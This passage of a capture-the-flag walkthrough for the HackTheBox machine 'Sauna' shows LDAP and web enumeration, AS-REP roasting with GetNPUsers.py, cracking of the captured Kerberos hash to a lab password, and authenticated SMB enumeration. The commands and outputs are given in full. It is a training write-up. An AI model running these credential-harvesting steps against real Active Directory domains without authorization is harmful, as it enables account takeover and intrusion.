           Raw packets sent: 2 (88B) | Rcvd: 2 (88B)

LDAP Enumeration

Let’s now take a look at LDAP. We see LDAP open on two ports, one for standard LDAP on 389, and another for secure LDAP on port 3268. Both scans show a fair bit of detail. Here’s the standard LDAP TCP scan from nmap below:

# Nmap 7.80 scan initiated Fri Jun 19 16:59:27 2020 as: nmap -vv --reason -Pn -sV -p 389 "--script=banner,(ldap* or ssl*) and not (brute or broadcast or dos or external or fuzzer)" -oN /0ps/HTB/sauna/scans/tcp_389_ldap_nmap.txt -oX /0ps/HTB/sauna/scans/xml/tcp_389_ldap_nmap.xml 10.10.10.175
Nmap scan report for 10.10.10.175
Host is up, received user-set (0.19s latency).
Scanned at 2020-06-19 16:59:27 CDT for 22s

PORT    STATE SERVICE REASON          VERSION
389/tcp open  ldap    syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
| ldap-rootdse: 
| LDAP Results
|   <ROOT>
|       domainFunctionality: 7
|       forestFunctionality: 7
|       domainControllerFunctionality: 7
|       rootDomainNamingContext: DC=EGOTISTICAL-BANK,DC=LOCAL
|       ldapServiceName: EGOTISTICAL-BANK.LOCAL:sauna$@EGOTISTICAL-BANK.LOCAL
|       isGlobalCatalogReady: TRUE
|       supportedSASLMechanisms: GSSAPI
|       supportedSASLMechanisms: GSS-SPNEGO
|       supportedSASLMechanisms: EXTERNAL
|       supportedSASLMechanisms: DIGEST-MD5
|       supportedLDAPVersion: 3
|       supportedLDAPVersion: 2
|       supportedLDAPPolicies: MaxPoolThreads
|       supportedLDAPPolicies: MaxPercentDirSyncRequests
|       supportedLDAPPolicies: MaxDatagramRecv
|       supportedLDAPPolicies: MaxReceiveBuffer
|       supportedLDAPPolicies: InitRecvTimeout
|       supportedLDAPPolicies: MaxConnections
|       supportedLDAPPolicies: MaxConnIdleTime
|       supportedLDAPPolicies: MaxPageSize
|       supportedLDAPPolicies: MaxBatchReturnMessages
|       supportedLDAPPolicies: MaxQueryDuration
|       supportedLDAPPolicies: MaxDirSyncDuration
|       supportedLDAPPolicies: MaxTempTableSize
|       supportedLDAPPolicies: MaxResultSetSize
|       supportedLDAPPolicies: MinResultSets
|       supportedLDAPPolicies: MaxResultSetsPerConn
|       supportedLDAPPolicies: MaxNotificationPerConn
|       supportedLDAPPolicies: MaxValRange
|       supportedLDAPPolicies: MaxValRangeTransitive
|       supportedLDAPPolicies: ThreadMemoryLimit
|       supportedLDAPPolicies: SystemMemoryLimitPercent
|       supportedControl: 1.2.840.113556.1.4.319
|       supportedControl: 1.2.840.113556.1.4.801
|       supportedControl: 1.2.840.113556.1.4.473
|       supportedControl: 1.2.840.113556.1.4.528
|       supportedControl: 1.2.840.113556.1.4.417
|       supportedControl: 1.2.840.113556.1.4.619
|       supportedControl: 1.2.840.113556.1.4.841
|       supportedControl: 1.2.840.113556.1.4.529
|       supportedControl: 1.2.840.113556.1.4.805
|       supportedControl: 1.2.840.113556.1.4.521
|       supportedControl: 1.2.840.113556.1.4.970
|       supportedControl: 1.2.840.113556.1.4.1338
|       supportedControl: 1.2.840.113556.1.4.474
|       supportedControl: 1.2.840.113556.1.4.1339
|       supportedControl: 1.2.840.113556.1.4.1340
|       supportedControl: 1.2.840.113556.1.4.1413
|       supportedControl: 2.16.840.1.113730.3.4.9
|       supportedControl: 2.16.840.1.113730.3.4.10
|       supportedControl: 1.2.840.113556.1.4.1504
|       supportedControl: 1.2.840.113556.1.4.1852
|       supportedControl: 1.2.840.113556.1.4.802
|       supportedControl: 1.2.840.113556.1.4.1907
|       supportedControl: 1.2.840.113556.1.4.1948
|       supportedControl: 1.2.840.113556.1.4.1974
|       supportedControl: 1.2.840.113556.1.4.1341
|       supportedControl: 1.2.840.113556.1.4.2026
|       supportedControl: 1.2.840.113556.1.4.2064
|       supportedControl: 1.2.840.113556.1.4.2065
|       supportedControl: 1.2.840.113556.1.4.2066
|       supportedControl: 1.2.840.113556.1.4.2090
|       supportedControl: 1.2.840.113556.1.4.2205
|       supportedControl: 1.2.840.113556.1.4.2204
|       supportedControl: 1.2.840.113556.1.4.2206
|       supportedControl: 1.2.840.113556.1.4.2211
|       supportedControl: 1.2.840.113556.1.4.2239
|       supportedControl: 1.2.840.113556.1.4.2255
|       supportedControl: 1.2.840.113556.1.4.2256
|       supportedControl: 1.2.840.113556.1.4.2309
|       supportedControl: 1.2.840.113556.1.4.2330
|       supportedControl: 1.2.840.113556.1.4.2354
|       supportedCapabilities: 1.2.840.113556.1.4.800
|       supportedCapabilities: 1.2.840.113556.1.4.1670
|       supportedCapabilities: 1.2.840.113556.1.4.1791
|       supportedCapabilities: 1.2.840.113556.1.4.1935
|       supportedCapabilities: 1.2.840.113556.1.4.2080
|       supportedCapabilities: 1.2.840.113556.1.4.2237
|       subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|       serverName: CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|       schemaNamingContext: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|       namingContexts: DC=EGOTISTICAL-BANK,DC=LOCAL
|       namingContexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|       namingContexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|       namingContexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
|       namingContexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
|       isSynchronized: TRUE
|       highestCommittedUSN: 53289
|       dsServiceName: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|       dnsHostName: SAUNA.EGOTISTICAL-BANK.LOCAL
|       defaultNamingContext: DC=EGOTISTICAL-BANK,DC=LOCAL
|       currentTime: 20200620060054.0Z
|_      configurationNamingContext: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
| ldap-search: 
|   Context: DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: DC=EGOTISTICAL-BANK,DC=LOCAL
|         objectClass: top
|         objectClass: domain
|         objectClass: domainDNS
|         distinguishedName: DC=EGOTISTICAL-BANK,DC=LOCAL
|         instanceType: 5
|         whenCreated: 2020/01/23 05:44:25 UTC
|         whenChanged: 2020/06/20 05:45:51 UTC
|         subRefs: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
|         subRefs: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
|         subRefs: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|         uSNCreated: 4099
|         dSASignature: \x01\x00\x00\x00(\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\xBE\xE0\xB3\xC6%\xECD\xB2\xB9\x9F\xF8\D\xB2\xEC
|         uSNChanged: 53269
|         name: EGOTISTICAL-BANK
|         objectGUID: 504e6ec-c122-a143-93c0-cf487f83363
|         replUpToDateVector: \x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xFDZ\x85\x92F\xDE^A\xAAVnj@#\xF6\x0C\x0B\xD0\x00\x00\x00\x00\x00\x00\x8D3\xFE\x14\x03\x00\x00\x00@\xBE\xE0\xB3\xC6%\xECD\xB2\xB9\x9F\xF8\D\xB2\xEC	\xB0\x00\x00\x00\x00\x00\x00\xD4\x04R\x14\x03\x00\x00\x00
|         creationTime: 132371055513371885
|         forceLogoff: -9223372036854775808
|         lockoutDuration: -18000000000
|         lockOutObservationWindow: -18000000000
|         lockoutThreshold: 0
|         maxPwdAge: -36288000000000
|         minPwdAge: -864000000000
|         minPwdLength: 7
|         modifiedCountAtLastProm: 0
|         nextRid: 1000
|         pwdProperties: 1
|         pwdHistoryLength: 24
|         objectSid: 1-5-21-2966785786-3096785034-1186376766
|         serverState: 1
|         uASCompat: 1
|         modifiedCount: 1
|         auditingPolicy: \x00\x01
|         nTMixedDomain: 0
|         rIDManagerReference: CN=RID Manager$,CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL
|         fSMORoleOwner: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|         systemFlags: -1946157056
|         wellKnownObjects: B:32:6227F0AF1FC2410D8E3BB10615BB5B0F:CN=NTDS Quotas,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:F4BE92A4C777485E878E9421D53087DB:CN=Microsoft,CN=Program Data,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:09460C08AE1E4A4EA0F64AEE7DAA1E5A:CN=Program Data,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:22B70C67D56E4EFB91E9300FCA3DC1AA:CN=ForeignSecurityPrincipals,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:18E2EA80684F11D2B9AA00C04F79F805:CN=Deleted Objects,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:2FBAC1870ADE11D297C400C04FD8D5CD:CN=Infrastructure,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:AB8153B7768811D1ADED00C04FD8D5CD:CN=LostAndFound,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:AB1D30F3768811D1ADED00C04FD8D5CD:CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:A361B2FFFFD211D1AA4B00C04FD7D83A:OU=Domain Controllers,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:AA312825768811D1ADED00C04FD8D5CD:CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL
|         wellKnownObjects: B:32:A9D1CA15768811D1ADED00C04FD8D5CD:CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
|         objectCategory: CN=Domain-DNS,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|         isCriticalSystemObject: TRUE
|         gPLink: [LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL;0]
|         dSCorePropagationData: 1601/01/01 00:00:00 UTC
|         otherWellKnownObjects: B:32:683A24E2E8164BD3AF86AC3C2CF3F981:CN=Keys,DC=EGOTISTICAL-BANK,DC=LOCAL
|         otherWellKnownObjects: B:32:1EB93889E40C45DF9F0C64D23BBB6237:CN=Managed Service Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL
|         masteredBy: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|         ms-DS-MachineAccountQuota: 10
|         msDS-Behavior-Version: 7
|         msDS-PerUserTrustQuota: 1
|         msDS-AllUsersTrustQuota: 1000
|         msDS-PerUserTrustTombstonesQuota: 10
|         msDs-masteredBy: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|         msDS-IsDomainFor: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
|         msDS-NcType: 0
|         msDS-ExpirePasswordsOnSmartCardOnlyAccounts: TRUE
|         dc: EGOTISTICAL-BANK
|     dn: CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: OU=Domain Controllers,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=LostAndFound,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Infrastructure,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=ForeignSecurityPrincipals,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Program Data,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=NTDS Quotas,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Managed Service Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Keys,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=TPM Devices,DC=EGOTISTICAL-BANK,DC=LOCAL
|     dn: CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
|_    dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL
|_sslv2-drown: 
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 19 16:59:49 2020 -- 1 IP address (1 host up) scanned in 21.97 seconds

Here we see a likely domain name we can query against to try DNS zone transfers:

subRefs: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL

However, that seems to fail as well.

Running further enumeration with ldapsearch provides some useful info. Below we provide a basic query to ldap on it’s standard/nonsecure port:

initinfosec@kali:/0ps/HTB/sauna/scans$ ldapsearch -x -b "dc=egotistical-bank,dc=local" -H ldap://10.10.10.175
# extended LDIF
#
# LDAPv3
# base <dc=egotistical-bank,dc=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# EGOTISTICAL-BANK.LOCAL
dn: DC=EGOTISTICAL-BANK,DC=LOCAL
objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=EGOTISTICAL-BANK,DC=LOCAL
instanceType: 5
whenCreated: 20200123054425.0Z
whenChanged: 20200629235118.0Z
subRefs: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
subRefs: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
subRefs: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
uSNCreated: 4099
dSASignature:: AQAAACgAAAAAAAAAAAAAAAAAAAAAAAAAQL7gs8Yl7ESyuZ/4XESy7A==
uSNChanged: 53269
name: EGOTISTICAL-BANK
objectGUID:: 7AZOUMEioUOTwM9IB/gzYw==
replUpToDateVector:: AgAAAAAAAAACAAAAAAAAAP1ahZJG3l5BqlZuakAj9gwL0AAAAAAAAHUPC
 xUDAAAAQL7gs8Yl7ESyuZ/4XESy7AmwAAAAAAAA1ARSFAMAAAA=
creationTime: 132379482788744256
forceLogoff: -9223372036854775808
lockoutDuration: -18000000000
lockOutObservationWindow: -18000000000
lockoutThreshold: 0
maxPwdAge: -36288000000000
minPwdAge: -864000000000
minPwdLength: 7
modifiedCountAtLastProm: 0
nextRid: 1000
pwdProperties: 1
pwdHistoryLength: 24
objectSid:: AQQAAAAAAAUVAAAA+o7VsIowlbg+rLZG
serverState: 1
uASCompat: 1
modifiedCount: 1
auditingPolicy:: AAE=
nTMixedDomain: 0
rIDManagerReference: CN=RID Manager$,CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL
fSMORoleOwner: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name
 ,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
systemFlags: -1946157056
wellKnownObjects: B:32:6227F0AF1FC2410D8E3BB10615BB5B0F:CN=NTDS Quotas,DC=EGOT
 ISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:F4BE92A4C777485E878E9421D53087DB:CN=Microsoft,CN=Progra
 m Data,DC=EGOTISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:09460C08AE1E4A4EA0F64AEE7DAA1E5A:CN=Program Data,DC=EGO
 TISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:22B70C67D56E4EFB91E9300FCA3DC1AA:CN=ForeignSecurityPrin
 cipals,DC=EGOTISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:18E2EA80684F11D2B9AA00C04F79F805:CN=Deleted Objects,DC=
 EGOTISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:2FBAC1870ADE11D297C400C04FD8D5CD:CN=Infrastructure,DC=E
 GOTISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:AB8153B7768811D1ADED00C04FD8D5CD:CN=LostAndFound,DC=EGO
 TISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:AB1D30F3768811D1ADED00C04FD8D5CD:CN=System,DC=EGOTISTIC
 AL-BANK,DC=LOCAL
wellKnownObjects: B:32:A361B2FFFFD211D1AA4B00C04FD7D83A:OU=Domain Controllers,
 DC=EGOTISTICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:AA312825768811D1ADED00C04FD8D5CD:CN=Computers,DC=EGOTIS
 TICAL-BANK,DC=LOCAL
wellKnownObjects: B:32:A9D1CA15768811D1ADED00C04FD8D5CD:CN=Users,DC=EGOTISTICA
 L-BANK,DC=LOCAL
objectCategory: CN=Domain-DNS,CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,D
 C=LOCAL
isCriticalSystemObject: TRUE
gPLink: [LDAP://CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=Syste
 m,DC=EGOTISTICAL-BANK,DC=LOCAL;0]
dSCorePropagationData: 16010101000000.0Z
otherWellKnownObjects: B:32:683A24E2E8164BD3AF86AC3C2CF3F981:CN=Keys,DC=EGOTIS
 TICAL-BANK,DC=LOCAL
otherWellKnownObjects: B:32:1EB93889E40C45DF9F0C64D23BBB6237:CN=Managed Servic
 e Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL
masteredBy: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Name,CN
 =Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
ms-DS-MachineAccountQuota: 10
msDS-Behavior-Version: 7
msDS-PerUserTrustQuota: 1
msDS-AllUsersTrustQuota: 1000
msDS-PerUserTrustTombstonesQuota: 10
msDs-masteredBy: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-Na
 me,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
msDS-IsDomainFor: CN=NTDS Settings,CN=SAUNA,CN=Servers,CN=Default-First-Site-N
 ame,CN=Sites,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
msDS-NcType: 0
msDS-ExpirePasswordsOnSmartCardOnlyAccounts: TRUE
dc: EGOTISTICAL-BANK

# Users, EGOTISTICAL-BANK.LOCAL
dn: CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL

# Computers, EGOTISTICAL-BANK.LOCAL
dn: CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL

# Domain Controllers, EGOTISTICAL-BANK.LOCAL
dn: OU=Domain Controllers,DC=EGOTISTICAL-BANK,DC=LOCAL

# System, EGOTISTICAL-BANK.LOCAL
dn: CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL

# LostAndFound, EGOTISTICAL-BANK.LOCAL
dn: CN=LostAndFound,DC=EGOTISTICAL-BANK,DC=LOCAL

# Infrastructure, EGOTISTICAL-BANK.LOCAL
dn: CN=Infrastructure,DC=EGOTISTICAL-BANK,DC=LOCAL

# ForeignSecurityPrincipals, EGOTISTICAL-BANK.LOCAL
dn: CN=ForeignSecurityPrincipals,DC=EGOTISTICAL-BANK,DC=LOCAL

# Program Data, EGOTISTICAL-BANK.LOCAL
dn: CN=Program Data,DC=EGOTISTICAL-BANK,DC=LOCAL

# NTDS Quotas, EGOTISTICAL-BANK.LOCAL
dn: CN=NTDS Quotas,DC=EGOTISTICAL-BANK,DC=LOCAL

# Managed Service Accounts, EGOTISTICAL-BANK.LOCAL
dn: CN=Managed Service Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL

# Keys, EGOTISTICAL-BANK.LOCAL
dn: CN=Keys,DC=EGOTISTICAL-BANK,DC=LOCAL

# TPM Devices, EGOTISTICAL-BANK.LOCAL
dn: CN=TPM Devices,DC=EGOTISTICAL-BANK,DC=LOCAL

# Builtin, EGOTISTICAL-BANK.LOCAL
dn: CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL

# Hugo Smith, EGOTISTICAL-BANK.LOCAL
dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCAL

# search reference
ref: ldap://ForestDnsZones.EGOTISTICAL-BANK.LOCAL/DC=ForestDnsZones,DC=EGOTIST
 ICAL-BANK,DC=LOCAL

# search reference
ref: ldap://DomainDnsZones.EGOTISTICAL-BANK.LOCAL/DC=DomainDnsZones,DC=EGOTIST
 ICAL-BANK,DC=LOCAL

# search reference
ref: ldap://EGOTISTICAL-BANK.LOCAL/CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOC
 AL

# search result
search: 2
result: 0 Success

# numResponses: 19
# numEntries: 15
# numReferences: 3

Interesting. So we see a user Hugo Smith, and thus have an account potentially target to do further LDAP queries, or try to gain authentication another way. Let’s briefly move on to HTTP to see if we can find any more information on Hugo that might give authentication clues:

HTTP enumeration

A quick gobuster scan shows the following information:

/About.html (Status: 200) [Size: 30949]
/Blog.html (Status: 200) [Size: 24692]
/Contact.html (Status: 200) [Size: 15634]
/Images (Status: 301) [Size: 153]
/Index.html (Status: 200) [Size: 32792]
/about.html (Status: 200) [Size: 30949]
/blog.html (Status: 200) [Size: 24692]
/contact.html (Status: 200) [Size: 15634]
/css (Status: 301) [Size: 150]
/fonts (Status: 301) [Size: 152]
/images (Status: 301) [Size: 153]
/index.html (Status: 200) [Size: 32792]
/index.html (Status: 200) [Size: 32792]
/single.html (Status: 200) [Size: 38059]

We don’t find a robots.txt page, and nikto doesn’t seem to flag anything of note.

We see the following on the “About” section of the website:

So we see a user named Hugo Bear, and Fergus Smith, but not one named Hugo Smith.

Revisiting LDAP & Kerberos

Let’s make a list of possible usernames that would be common AD formats for organizations, and save it as users.list, based on both the web site and the output of our prior LDAP queries. Our resulting list looks like this:

hugosmith
hsmith
hugos
hugobear
hbear
hugob
fergussmith
fsmith
ferguss

Leveraging GetNPUser.py, we can see if any of the names on the list are valid, by checking them against the Kerberos Database.

initinfosec@kali:/0ps/HTB/sauna/scans$ GetNPUsers.py egotistical-bank.local/ -usersfile users.list -outputfile sauna_TGSs.dat
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

Great, so we see that hsmith is a valid username. We can see his hash as shown below, so next let’s see if we can perform a pass the hash attack using impacket tools.

initinfosec@kali:/0ps/HTB/sauna/scans$ cat sauna_TGSs.dat 
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:16997187a77644bd4fd56bda3564ad04$84f7744512e078cf08739fc2ab2f8b22f5532da6c13635f534f83efe004ac134f904f5aaabdf05a232ecd890e4655c51907c5feea13c92b2129f9c2c7e90daadd2aeb773a8109a0607b179fbb5e63719596b4daddd174a9a56fbfcad4e6e2544929e904236ecfc0ecec873c02703796b1c57007102f4a18664a78b8b5bd3f96d6b96d1de60b1b278937b7a32ee08b71fe4e1024f8426754ff60bac46d45cbe3a9ad783abfa642d72cd16646505b5a270c65ab5bf1732ff73519398abf6bd04b8b12f4baa1c5c887537078596ec0f1f0a4924a3210269620bd5b6323839f00685c3d031907ca74a92d75e4ff26b3421b796feb3a86f1fe065fbeca35eb4f258d9

Now that we have the hash in a kerberos5 asrep format, let’s crack it using hashcat, to then use it to reguest a ticket from the kerberos server.

initinfosec@kali:/0ps/HTB/sauna/scans$ john --wordlist=/usr/share/wordlists/rockyou.txt sauna_TGSs.dat 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23     ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)
1g 0:00:00:07 DONE (2020-06-29 15:42) 0.1362g/s 1435Kp/s 1435Kc/s 1435KC/s Thrall..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We notice interestly that the username seems to be fsmith according to the TGSs.dat file, so let’s try that first:

initinfosec@kali:/0ps/HTB/sauna/scans$ getTGT.py egotistical-bank.local/fsmith:Thestrokes23
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Saving ticket in fsmith.ccache

Great, now we have a ticket, let’s see if we can use it to authenticate.

initinfosec@kali:/0ps/HTB/sauna/scans$ psexec.py -k -no-pass egotistical-bank.local/fsmith@egotistical-bank.local cmd
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[-] SMB SessionError: STATUS_MORE_PROCESSING_REQUIRED({Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.)

Seems there’s some issue using our kerberos ticket to authenticate to psexec.py. However, it seems that psexec.py utilizes SMB to authenticate, so it’s possible the user doesn’t have access to certain privileged shares psexec.py utilizes to communicate.

Running enum4linux with the password found, we are able to perform a successful authentication and list shares, as shown below. Portions of the output are truncated to save space.

initinfosec@kali:/0ps/HTB/sauna/scans$ enum4linux-ng -A -u 'fsmith' -p 'Thestrokes23' 10.10.10.175
ENUM4LINUX-NG

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.10.10.175
[*] Username ......... 'fsmith'
[*] Random Username .. 'obazswos'
[*] Password ......... 'Thestrokes23'
[*] RID Range(s) ..... 500-550,1000-1050
[*] Known Usernames .. 'administrator,guest,krbtgt,domain admins,root,bin,none,fsmith'

 =====================================================
|    Getting information via LDAP for 10.10.10.175    |
 =====================================================
[*] Trying LDAP
[+] Appears to be root/parent DC
[+] Long domain name is: EGOTISTICAL-BANK.LOCAL

 ==============================================
|    Getting NetBIOS names for 10.10.10.175    |
 ==============================================
[-] Could not get NetBIOS names information via nmblookup: host does not reply

 =====================================
|    Session Check on 10.10.10.175    |
 =====================================
[*] Check for null session
[+] Server allows session using username '', password ''
[*] Check for user session
[+] Server allows session using username 'fsmith', password 'Thestrokes23'
[*] Check for random user session
[-] Server doesn't allow session using username 'obazswos', password ''

 ===================================================
|    Getting domain information for 10.10.10.175    |
 ===================================================
[+] Domain: EGOTISTICALBANK
[+] SID: S-1-5-21-2966785786-3096785034-1186376766
[+] Host is part of a domain (not a workgroup)

 ======================================
|    OS information on 10.10.10.175    |
 ======================================
[+] The following OS information were found:
server_type_string = Wk Sv PDC Tim PrQ NT SAUNA
platform_id        = 500
os_version         = 10.0
server_type        = 0x80122b

 =============================
|    Users on 10.10.10.175    |
 =============================
[*] Enumerating users
[+] Found 6 via 'querydispinfo'
[+] Found 6 via 'enumdomusers'
[+] After merging user results we have 6 users total:
'1103':
  username: HSmith
  name: Hugo Smith
  acb: '0x00020010'
  description: (null)
'1105':
  username: FSmith
  name: Fergus Smith
  acb: '0x00010210'
  description: (null)
'1108':
  username: svc_loanmgr
  name: L Manager
  acb: '0x00000210'
  description: (null)
'500':
  username: Administrator
  name: (null)
  acb: '0x00000210'
  description: Built-in account for administering the computer/domain
'501':
  username: Guest
  name: (null)
  acb: '0x00000215'
  description: Built-in account for guest access to the computer/domain
'502':
  username: krbtgt
  name: (null)
  acb: '0x00020011'
  description: Key Distribution Center Service Account


 =========================================
|    Share enumeration on 10.10.10.175    |
 =========================================
[+] Found 7 share(s): ADMIN$,C$,IPC$,NETLOGON,print$,RICOH Aficio SP 8300DN PCL 6,SYSVOL
[*] Testing share ADMIN$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share C$
[+] Mapping: DENIED, Listing: N/A
[*] Testing share IPC$
[+] Mapping: OK, Listing: NOT SUPPORTED
[*] Testing share NETLOGON
[+] Mapping: OK, Listing: OK
[*] Testing share print$
[+] Mapping: OK, Listing: OK
[*] Testing share RICOH Aficio SP 8300DN PCL 6
[-] Could not check share: NT_STATUS_OBJECT_NAME_NOT_FOUND
[*] Testing share SYSVOL
[+] Mapping: OK, Listing: OK

 ===========================================
|    Policy information for 10.10.10.175    |
 ===========================================
[*] Trying port 139/tcp
[-] DCE/SAMR connect failed on port 139/tcp
[*] Trying port 445/tcp
[-] DCE/SAMR connect failed on port 445/tcp

 =============================================
|    Getting printer info for 10.10.10.175    |
 =============================================
[+] Found 1 printer(s):
\\10.10.10.175\RICOH Aficio SP 8300DN PCL 6:
  description: \\10.10.10.175\RICOH Aficio SP 8300DN PCL 6,RICOH Aficio SP 8300DN
    PCL 6,Bank Floor
  comment: We cant print money
  flags: '0x800000'

Completed after 21.92 seconds

gaining an initial foothold

